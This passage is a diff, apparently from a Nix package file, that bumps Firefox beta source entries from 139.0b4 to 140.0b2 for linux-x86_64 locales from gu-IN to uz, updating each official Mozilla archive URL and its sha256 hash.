-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/gu-IN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/gu-IN/firefox-140.0b2.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "e9f4437d6f8959aa9270e6cc8eb7070165a8418f4ed28c2a31e1b955948c7837";
+      sha256 = "7a32e73b96af77fbcb4a14fb6098d270a73484054ea9d8a47319247f2ba2db0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/he/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/he/firefox-140.0b2.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "5eedd55e647c494461a013912eaac5b1d40b20acef64a0810e74fdd72083e5df";
+      sha256 = "50a1e0ea0c17140525584a1cbb7de67801af5be12765d4d610cd70dea4ad1bfc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/hi-IN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hi-IN/firefox-140.0b2.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "3a1e543d88f0103776397decc1ae9fa2b5a96b68fddadea56c60e1d76b1120d5";
+      sha256 = "9871be936ad26228905a9bbabc94f8b027b066af8b4a27c0895fbb927dfea723";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/hr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hr/firefox-140.0b2.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "4dbfbb04729a97c82b4eb123d1a6623867b6ece4f26777ed12c81a9bc5f4b88e";
+      sha256 = "f950a486143e3658168f7caed53f546679d5af41994398ccd3578222c4f6c513";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/hsb/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hsb/firefox-140.0b2.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "1cca8fe6f46c797b8e03923d9b4a317cab0e011c34a44feabcaea6767a4054b8";
+      sha256 = "1885e8881aa7bc06a993fd350c0368f85101d007583eb3b9145e9fc777ba2012";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/hu/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hu/firefox-140.0b2.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "ddbb8a9b6fd89f496c47398f09cb2a56ecf51299138cdf1dff659d027f1f8055";
+      sha256 = "3efa843d3a3c1b8ca7454959ea2838ff436cb5820725b98599a99f57db4f21fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/hy-AM/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hy-AM/firefox-140.0b2.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "e819ccd80cfe1446cd60398e788931d12060766fbd23539932efc6e16a0a59a0";
+      sha256 = "4566fba506a4ee45d1152a5ebb716ec264e1cccfa84b011cb6bbccc1d58e5ffc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ia/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ia/firefox-140.0b2.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "bb5dc9c1a4cb919a2f6207fe171fe0e2c9345d038cf7a7d969fc72f6c0d9aa94";
+      sha256 = "e599c11c636a7912a5d64df4c4f642c6b23b8ac8917602319c7d1aadf2c6e15a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/id/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/id/firefox-140.0b2.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "04f8e8f738dad42e6c0daca2ada66ea01f7d994c2ef4f2ec329070f740a2bd0d";
+      sha256 = "788e2874ea4d845a742eb4f5ef9e02c79ad3ce156a09e1b7db19e83ed661b650";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/is/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/is/firefox-140.0b2.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "140e3f7a50a57f415913465372b3c0cb026f648d587eab2e2406361430c1d81e";
+      sha256 = "280b95ffa32b43aa893b0df87fdda0adb14826b8a2b195c8a8a6f21174894412";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/it/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/it/firefox-140.0b2.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "81eaf1ea39d5792ce31388a3936cc9597f7873eddbb6ab34ed78acf688598272";
+      sha256 = "5bf7718acb53c53244cb9979ed72c132b14b66b53caf51d554b01e601dfc116d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ja/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ja/firefox-140.0b2.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "5eb2dad48c1fdd9b869c89009f83433c7c43ecfbb85c6489a46bde89e935b534";
+      sha256 = "67cffcb3c101d24c384056b9ed5285f78a5a00421753524a8a4936d2ac3727c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ka/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ka/firefox-140.0b2.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "16cd1d3352195a758bb256d9f201d50934c016f772c4ae01133f7ff25f86f2fd";
+      sha256 = "e868d7da325cb38a4a6360aaeec5d34d2e7aa545da2682226b319b4f3aca2d53";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/kab/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/kab/firefox-140.0b2.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "e9390977f31c11d995d3748329da38c45300aa43ac5639c11cc90db9cd5b8d4f";
+      sha256 = "0de027c78af9346e30d4d64595ea81d5c522bb3a44e33e380b45e0d9fcfd0f28";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/kk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/kk/firefox-140.0b2.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "7d13ee5bf4718468f8ea20a5fc6aceff58ac0be84fa7659932e85dbbaeed867d";
+      sha256 = "411e311bac40c12392aca73a5a4315fc015ba413526d20a19c620f74a66a8200";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/km/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/km/firefox-140.0b2.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "999eff92897c3cb7597abef1e2c86eb962204dfa4ebd0d86842b3f2cbc7fe957";
+      sha256 = "6575b0b44caa29ba2d2ce4f69ccd0ac09c2d89b86eb9a541632a0e155e8108f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/kn/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/kn/firefox-140.0b2.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "a2d45d1ffe1a46c8178f460ac30c394a7f4177ecc8cdb4c130bf3e5c49bc2ad7";
+      sha256 = "a1757ad5a847e430271d2cc99a3ef45ea409d0f8df52d8df38012e618ddb90fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ko/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ko/firefox-140.0b2.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "f847db77a08952229d6ef998c7157f0c75850f06cc96953ad66fd3a024ad1713";
+      sha256 = "6aa52561db8818725fe013bc7940b81c07e38c2678ef427675d0fc58c6741da6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/lij/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/lij/firefox-140.0b2.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "5e82c700fc49d454496199107a8fcb752847cd46981754a8413af64777ba9d5f";
+      sha256 = "c07084a6bc9324dd71dc442fe24934bf29873b6e7e5158ae68eb4323507a5b0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/lt/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/lt/firefox-140.0b2.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "5d60fd80069d73d12e285b65da1e3af0eca6824c27cb80e946c856f5c3028879";
+      sha256 = "5b088e25ded761cd501be0f5617349a2126c9eec6839e3ec6bcdc0b19ec9db02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/lv/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/lv/firefox-140.0b2.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "28e9eba64a0662004171f87e2ccf23308d259bc78b2184ffdfec398ef08f89f6";
+      sha256 = "2bfe6a0bb5522305f577608ca6759013be5a947fd3e5e253191dc25376d2ab12";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/mk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/mk/firefox-140.0b2.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "83df7f0457e3ecc36c1a6376ec595f3df04543ba36d80d896cd7d68fdf6d9de5";
+      sha256 = "441e386a2c4c0f3602907f48438b390a19e1f6a00831f8160b3212724d7da07d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/mr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/mr/firefox-140.0b2.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "879ae358c38367b634154936a9e8d093813ac8e410f8f533f7c32227845d3bb4";
+      sha256 = "c9f51bf2d9ebf2e76c80d2911f15f1ebb0272011c39059ea9a4e1c1bf83bf190";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ms/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ms/firefox-140.0b2.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "ec20aeaf31cd2f4b16b94ab16c62a0ebde70b738b86c739dd4deca7b50feb95b";
+      sha256 = "261acca048d14496d15c2ebd56fa069346b194c652f0f6f2cd9afbe8ffad02f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/my/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/my/firefox-140.0b2.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "90468dd5c6db813612f69f2b646be26db909dcaa92e66b3c3250823baea81de6";
+      sha256 = "58ba0821d03e4f362bc506b420427c02ca69ae43eb5bf241caa481ee791f1c13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/nb-NO/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/nb-NO/firefox-140.0b2.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "904f3f3760506b6feb246397caab176e6dd884e982dcb07274605bc067113d95";
+      sha256 = "5792c3f26540c20ba966fe7d587a1874452eb4346d72c24ede6a8bdaeaf704cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ne-NP/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ne-NP/firefox-140.0b2.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "0181214f14fd5e88381952ad07df7a37efa293e8fbe903db0029e773ff1e50f9";
+      sha256 = "2f0656c6a7ae21a07a506b4293afcd85f6d3376961a71d5b45af698d67496d17";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/nl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/nl/firefox-140.0b2.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "cd1f662dcc64190d00c84b0c02d67558626246470c5cdac78fdee1408ec88cac";
+      sha256 = "e135d0459ba83b78cbd606e2fb033f8fc945ff628959103ef65747123bee7cae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/nn-NO/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/nn-NO/firefox-140.0b2.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "c20d2ea023e5eb1a60863cadd085db28f616dfa79c79652dc1f38c2efd2e4f49";
+      sha256 = "24ae203327f886d34d71d1820292fea86cbd39bb68400a317e1185c291739eb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/oc/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/oc/firefox-140.0b2.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "6f387a7892a61b623ec1696adec24f5836dce98a4157c59cc47a987f11e8dfec";
+      sha256 = "fe061945a5fab1a73a03f424e02db5e90f490b3dbab11af978bf2bca27abd44c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/pa-IN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/pa-IN/firefox-140.0b2.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "1973852bbe05fc0207834a6271858a8b6585254635854cc2302b45d0a10f8b07";
+      sha256 = "16e22303ce33d37a5462fe1f9cc09959a7f8efe77133d3d87b6a6b3d5fedf0d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/pl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/pl/firefox-140.0b2.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "9919cc6421b35798c2df90729d2d25e200e24d1450003ce30794124fb88ac21d";
+      sha256 = "9e1d841a5e5457f62f20cee241e538b1336edffe42a893fcbcf616a5989044e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/pt-BR/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/pt-BR/firefox-140.0b2.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "0ca06936133a86645d2975acb69fd01d3b80fdfcbc1ab003561ecd9fc85d4467";
+      sha256 = "e7da00d2172e5ce485957061bf3b8869f7437de3e3324dc9251f095e48ae26cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/pt-PT/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/pt-PT/firefox-140.0b2.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "48dfb1081c2bee39a5bb2729d4aa83860d29435c818bef4b80c53e02efafb807";
+      sha256 = "b44a97bb059b2c4d11fd4786be517b22db28eb61bec88dab6335fdc5820cfbfc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/rm/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/rm/firefox-140.0b2.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "4cb0f6115a83a9e30d5800f2d7c4709431c3617fba9fa43073bfd169c7a61266";
+      sha256 = "eecf8793a52e4f64391b3f424530b2ba9fe3474ad24ef16e3388272bb0cd1839";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ro/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ro/firefox-140.0b2.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "cf18a73a2170ab3fc5934adab6ef6142779f8f3c1fd949b1a1051bf2ea9795b8";
+      sha256 = "b1d69873414e221ffbe2b5c7175487c5dcd97ae2b7da17011d14f0e6e1342e1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ru/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ru/firefox-140.0b2.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "85ea9ba70d407d009aced7ab3d1b8552b0cf1a44cb0df5d3cae35bbefec3bc8a";
+      sha256 = "823e6ec4c9a1326cc08ef9afaa50f33e892517fb94b8cf135c5df2ad0b39af49";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/sat/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sat/firefox-140.0b2.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "693a3a17e376381dba4439a35eb8b7cf03ea59dbd6c8030b4da15466475f23b1";
+      sha256 = "2c24a66abdbe63b8537c1d1eb457e1078f4768fa4e1c628ec91c801fa4e29863";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/sc/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sc/firefox-140.0b2.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "0d031bb02cef10ec8ee44376f384df868c20a6ae96138011adcfe577a132d788";
+      sha256 = "3f49ee23328467021066957d5c46150a2b2ed2216774d4593a2bedc8c3a116f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/sco/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sco/firefox-140.0b2.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "e38e1b62fdbf65b5893c448a8df763da3e04436ad75db1531023a800bb2fd186";
+      sha256 = "1d1ec36ea66705cd0b0d986d7f7ceca5a0b56dd98fd51cc640b3aba03454ab72";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/si/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/si/firefox-140.0b2.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "efaac36b3c3a6da5958563d682936413851f76134eff15652cab0260038affca";
+      sha256 = "1d2609c2d3b7ef1badb501a65644d3dcd0e376a9a95fccbc751c9420aa9144ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/sk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sk/firefox-140.0b2.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "e60387517f08d43b27179b08a0f9f8280d9e5e1d72ebd200f1794d37ecbb7b42";
+      sha256 = "adf327cae6a85ef120eb027a8e5477654db02f829bf673db4bdcc8c05dee86d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/skr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/skr/firefox-140.0b2.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "834d207793100f06741459b12203ebf73750abeaffb43524564562bbb7160779";
+      sha256 = "70f8da6b2e7ef52d707a80011ae8998342fa64def483ba4717f6c7e0ea1b7ac2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/sl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sl/firefox-140.0b2.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "9f0f2d2d7b22a2c2eb7ba28974d41d6db63fea0e66491753eea7e009ee7dd23f";
+      sha256 = "bdd9383a3d0f8f736371956852a51583e68c0227612610b3831c6601b4cbd319";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/son/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/son/firefox-140.0b2.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "bb57306e0b721a99b3d916ead2ca6c813315d010f51076dd6d415d53dc1e1847";
+      sha256 = "24d2724df88cedccbceeebd89e5c8087e54049bf11f291a707adacb16f4fefff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/sq/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sq/firefox-140.0b2.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "64e95983086221f6f01d19fe37282ebce21f93516a43905dc29d3006d59b7847";
+      sha256 = "7211cb03bc81a7eb781fd4d35c6826c70df13a29fdb4486d423c718047a76859";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/sr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sr/firefox-140.0b2.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "456423a6a6c0c49b643d25bb3d32866c177a7856110c3cc94494f44296a836b2";
+      sha256 = "177e7e9786e45883f84939ce5eff32dfccdc08adc5c034e22437203637a9d89e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/sv-SE/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sv-SE/firefox-140.0b2.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "960c1aade2e27b872e648f61944ea5421cfe4f7f09205dac2693cf5d6f3840af";
+      sha256 = "700f554cdf816dc5aa91b6cfbaf8bf204264538ea9b9ae3d6ef10d256450a29c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/szl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/szl/firefox-140.0b2.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "2966c66c503b0fbdd8cf0fb141549cac9a8f34af9eb107b65aa7ed9409a629e5";
+      sha256 = "48db54afbcc1e6840e52b0a023dd6ee1956a44ee6a96930b52d10e1640155eed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ta/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ta/firefox-140.0b2.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "afa115d8acfa334d69f8baf6159ffbb02165dcde6593b0b9132086bebd274714";
+      sha256 = "17074b69f77f2db0bd507e334d7b74cf290854d9fe696763223487c130629ca9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/te/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/te/firefox-140.0b2.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "215cf233c79f4d33e0de76e4dd11f270a908b8f1fa55c6744200e86b6c862f9c";
+      sha256 = "85f1f5bb9ab7517b0ab0700bbb94048776454cec7677216005989c0c4eec6047";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/tg/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/tg/firefox-140.0b2.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "e88ab65a2a477f5ad36ec77e334c2bbe9fc39e60fdd44b5ac705ff60f01dd8b9";
+      sha256 = "417933976c3a4b3d9e001adb8817b97830c22d2500d2bd20fb3d260d4efb58f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/th/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/th/firefox-140.0b2.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "ba4f17f2fc2d86486dda6acaea1acfabcf4157f23c2aa39a858c35c78be3b20b";
+      sha256 = "3ebb8a62335d1ff46df072f88244c94e7af3476efc892f2116526829f854d0e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/tl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/tl/firefox-140.0b2.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "e123514d141c959e8f29b2dfc1c8152cb9c978267aca5cfa647ca79fcfd67563";
+      sha256 = "9751edb8943cf113a14be6bf5e1f9b06368d8ad316ab3e58b0924a62fea31749";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/tr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/tr/firefox-140.0b2.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "73988d7cc818bfbed084a626727d1bbbbb378daf849fbaa8b23f3f5a76315f63";
+      sha256 = "428675ed3f2bb5691329628bca3a1684c4154faffaf0a99d8ac7bea1e5af2f4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/trs/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/trs/firefox-140.0b2.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "2b9022ed251f2e72bc0a7f7c319e7169eaddeec9cba230ceb9789ccd6c2a4c20";
+      sha256 = "5d41e893d50d9e39325ce571341594f247b429c7316415c7df1be2d7e67524c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/uk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/uk/firefox-140.0b2.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "f721779da0e1c681ae7ef66e789a81a3655ed7be116357c518d4eb0401937fe1";
+      sha256 = "38e28de077f6c2e70ffd42cb08d9ebdbb33873f42ec28e3f1380675818b232c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ur/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ur/firefox-140.0b2.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "080b7d053124ec03e821b5db14544de1a76e0b8d1aad4cbf6a5bfe7a721debba";
+      sha256 = "1f4be2e844e19a070bd976411abf5b84b8e71b68b098ef6724c0115e3347a4e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/uz/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/uz/firefox-140.0b2.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
